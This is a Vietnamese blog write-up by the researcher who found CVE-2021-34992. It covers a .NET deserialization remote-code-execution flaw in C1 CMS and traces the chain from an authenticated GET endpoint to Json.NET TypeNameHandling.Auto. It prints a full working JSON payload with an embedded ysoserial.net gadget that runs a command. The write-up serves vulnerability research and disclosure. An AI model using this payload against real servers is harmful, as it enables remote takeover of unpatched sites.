Phân tích lỗ hổng thực thi mã từ xa trên C1 CMS: CVE-2021-34992

Cách đây một khoảng thời gian mình bắt đầu học về lỗ hổng .NET deserialize dẫn đến RCE. Và cũng như bao người khác, mình học bằng cách tìm và phân tích lại những CVE trước đó. Và mình lựa chọn CVE-2019-18211 vì mình có tìm kiếm và đọc được bài phân tích của tác

Cách đây một khoảng thời gian mình bắt đầu học về lỗ hổng .NET deserialize dẫn đến RCE. Và cũng như bao người khác, mình học bằng cách tìm và phân tích lại những CVE trước đó. Và mình lựa chọn CVE-2019-18211 vì mình có tìm kiếm và đọc được bài phân tích của tác giả CVE trên tại https://medium.com/@frycos/yet-another-net-deserialization-35f6ce048df7. Và may mắn thay trong quá trình mình dựng lại bug này thì mình đã tìm thêm được một bug khác cũng có thể dẫn tới RCE ở ngay gần sink của CVE-2019-18211(mình không rõ tại sao tác giả lại không tìm ra bug đó mặc dù chúng khá là gần nhau). Và lỗ hổng mình tìm ra được đánh số là CVE-2021-34992. Trong bài này mình sẽ trình bày lại cách mà mình tìm ra lỗ hổng này. Bắt đầu thôi nào.

Set up debug

Về việc download và setup debug mình đã trình bày trong bài phân tích trước đó. Nếu các bạn chưa đọc có thể đọc lại tại link sau: https://viblo.asia/p/think-out-of-the-box-trong-viec-tim-kiem-lo-hong-net-deserialization-djeZ1zw8lWz (Lưu ý phiên bản ảnh hưởng là phiên bản <=6.10)

Phân tích CVE-2021-34992

Đối với các công việc phân tích các ứng dụng .NET thì công việc đầu tiên của mình là phải lấy hết các file dll mà ứng dụng đó sử dụng ra. Mình thường sử dụng cmd sau trên wsl để lấy hết dll và đưa vào 1 thư mục khác find . -name '*.dll' -print0 | xargs -0 cp -t /dll/. Sau đó mình sử dụng dnspy để extract hết đống dll này ra code C#. Như mình đã nói thì CVE này mình tìm ra trong quá trình phân tích lại CVE-2019-18211. Nhưng mình sẽ đi theo hướng mà mình đi tìm bug mà mình thường làm nhé. Sau khi đã có code C#, mình mở cả folder bằng VS code để tiện cho việc tìm kiếm. Mình focus vào lỗ hổng deserialization, nên mình sẽ sử dụng những regex phổ biến để tìm kiếm, về vấn đề sử dụng regex gì thì mình có tìm được 1 bài viết nói rất chi tiết về lỗ hổng deserialization trong các ngôn ngữ khác nhau: https://klezvirus.github.io/Advanced-Web-Hacking/Serialisation/. Ở đây thì mình sử dụng TypeNameHandling, lý do vì sao lại search cái này, đơn giản bởi vì nếu ứng dụng sử dụng newtonsoft để deser json về object mà có option typenamehandling khác NONE thì khả năng cao là chúng ta có thể khai thác lỗ hổng tại đó dẫn tới RCE được

Và cho mình kết quả như sau:

Rất may là trong CompositeJsonSerializer sử dụng rất nhiều TypeNameHadling với giá trị khác NONE. Đi vào để xem chi tiết. Mình chú ý đến đoạn code sau.

Trong đoạn code có sử dụng Binder. Theo mình hiểu thì binder để giới hạn những type nào được phép deser. Nhảy vào bên trong Binder để xem có bị giới hạn gì không.

Đọc code thì thấy nếu assemblyName bằng Composite.Generatedtypename bắt đầu bằng CompositeGenerated. thì sẽ có đoạn code xử lý riêng, tuy nhiên với những trường hợp còn lại thì code sẽ gọi đến base.BindToType(assemblyName, typeName) tức là DefaultSerializerBinder. Hoàn toàn không có bất kì tác dụng bảo vệ nào ở đây. Quay về với method Deserialize của chúng ta. Đây rõ ràng là 1 sink hoàn hảo nếu như ta control được str truyền vào và tìm được type phù hợp (tức là có thể chèn object vào). Tiếp tục sử dụng chức năng findUsage để trace.

Ra rất nhiều nhưng mình chú ý đến đoạn code sau:

Thực hiện rất nhiều bước để xử lý string truyền vào và để đến được method Deserialize phải pass qua kha khá điều kiện. Tuy nhiên khi nhìn qua thì hoàn toàn ta có thể control được đoạn code này từ string truyền vào. Vấn đề là ta có control được string truyền vào hay không. Tiếp tục trace tiếp thì thấy hàm Deserialize này được gọi ở EntityTokenSerializerDeserialize(string serializedEntityToken,bool includeHashValue).

Nếu như các bạn đã đọc bài phân tích trước về CVE-2019-18211 thì sẽ thấy rất quen vì đây chính là nơi trigger được RCE. Và đây cũng là lý do mình băn khoăn sao tác giả CVE-2019-18211 lại không tìm ra thêm 1 lỗ hổng khác nữa cùng chỗ đó. Đến đây thì đơn giản rồi, các bạn có thể hoàn toàn sử dụng chain như CVE-2019-18211 để đi từ user inout để đến đây. Nhưng để học hỏi thì mình không dừng lại ở đó. Mình muốn tìm 1 endpoint khác, không phải POST request, mình muốn GET để ăn ngay cơ 😃). Và thế là mình lại trace tiếp. Và mình tìm thấy class này Spikes_RelationshipGraph_Default.Page_Load(object sender, EventArgs e)

Tuyệt vời, nó nhận string từ param EntityToken và truyền thẳng vào hàm Deserialize. Endpoint của class này là /Composite/content/views/relationshipgraph/Default.aspx

Như vậy chúng ta chỉ cần get request như sau: /Composite/content/views/relationshipgraph/Default.aspx?EntityToken={PAYLOAD} là có thể RCE (hiện tại mới chỉ là có thể thôi nhé, vì chúng ta chưa tìm được chỗ để chèn object vào).

Quay ngược về hàm EntityTokenSerializerDeserialize(string serializedEntityToken,bool includeHashValue), chúng ta cần tìm trong object graph của class EntityToken xem có thuộc tính nào nhận object hay không. Sau khi check thì tiếc là mình không tìm thấy chỗ nào cả. Tuy nhiên mình có thể tiếp tục tìm kiếm những class kế thừa class EntityToken xem có class nào thỏa mãn điều kiện hay không (tức là có chỗ nhận object). Và mình tìm được class sau DataGroupingProviderHelperEntityToken

bạn thấy chứ, chúng ta có thể chèn object vào GroupingValues. Đến đây thì mọi thứ chúng ta cần để có thể RCE đều đã đạt được. À mình quên mất một xíu đó là để có thể RCE chúng ta cần lắt léo hơn 1 xíu để pass hết đống điều kiện để đến được hàm Deserialize như mình đã nói ở trên đó là string phải bắt đầu bằng meta:obj theo sau đó là payload của chúng ta, type sẽ lấy ra từ meta:type. Để nhảy vào method Deserialize thì method ở MethodInfo method = type.GetMethod(nameof (Deserialize), BindingFlags.Static | BindingFlags.Public); bắt buộc phải là null, giải quyết cái này cũng đơn giản, mình chọn 1 class nào đó không có method Deserialize rồi đưa vào là được.

Túm cái váy lại thì chúng ta có chain như sau:

Spikes_RelationshipGraph_Default.Page_Load(object sender, EventArgs e)
=> EntityTokenSerializer. Deserialize(string serializedEntityToken)
=> EntityTokenSerializer.Deserialize( string serializedEntityToken, bool includeHashValue) 
=> CompositeJsonSerializer.Deserialize<T>(string str, bool isSigned) 
=> CompositeJsonSerializer.Deserialize<T>(string str) 
=> JsonConvert.DeserializeObject<T >(str, new JsonSerializerSettings()
     {
       TypeNameHandling = TypeNameHandling.Auto,
       Binder = CompositeSerializationBinder.Instance
     });

Payload mình sử dụng như sau:

{"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken,Composite','Type':'Composite.C1Console.Trees.TreeDataFieldGroupingElementEntityToken','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String,mscorlib],[System.Object,mscorlib]],mscorlib','test':{'$type':'System.IdentityModel.Tokens.SessionSecurityToken,System.IdentityModel,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089','SessionToken':{'$type':'System.Byte[],mscorlib','$value':'QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6ayARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdGdVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nWTJGc1l5NWxlR1VpSUZOMFlXNWtZWEprUlhKeWIzSkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRk4wWVc1a1lYSmtUM1YwY0hWMFJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlZjMlZ5VG1GdFpUMGlJaUJRWVhOemQyOXlaRDBpZTNnNlRuVnNiSDBpSUVSdmJXRnBiajBpSWlCTWIyRmtWWE5sY2xCeWIyWnBiR1U5SWtaaGJITmxJaUJHYVd4bFRtRnRaVDBpWTIxa0lpQXZQZzBLSUNBZ0lDQWdQQzl6WkRwUWNtOWpaWE56TGxOMFlYSjBTVzVtYno0TkNpQWdJQ0E4TDNOa09sQnliMk5sYzNNK0RRb2dJRHd2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJK0N3PT0BAQEBAQ=='}}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Trees.TreeDataFieldGroupingElementEntityToken'}","meta:type":"System.Runtime.Serialization.SerializationException"}

Về phần code để ra được payload như nào các bạn tự làm nhé (mình dùng ysoserial .net để gen payload rồi đưa vào phần object của mình)

Kết quả đạt được

Chú ý là mình cần phải authen user với quyền bất kì mới có thể RCE được nhé.

Cảm ơn mọi người đã đọc bài viết của mình, có thắc mắc gì mọi người cmt dưới bài viết nhé!!!

Nguồn: viblo.asia

Bài viết liên quan

WebP là gì? Hướng dẫn cách để chuyển hình ảnh jpg, png qua webp

WebP là gì? WebP là một định dạng ảnh hiện đại, được phát triển bởi Google

Điểm khác biệt giữa IPv4 và IPv6 là gì?

IPv4 và IPv6 là hai phiên bản của hệ thống địa chỉ Giao thức Internet (IP). IP l

Check nameservers của tên miền xem website trỏ đúng chưa

Tìm hiểu cách check nameservers của tên miền để xác định tên miền đó đang dùn

Mình đang dùng Google Domains để check tên miền hàng ngày

Từ khi thông báo dịch vụ Google Domains bỏ mác Beta, mình mới để ý và bắt đầ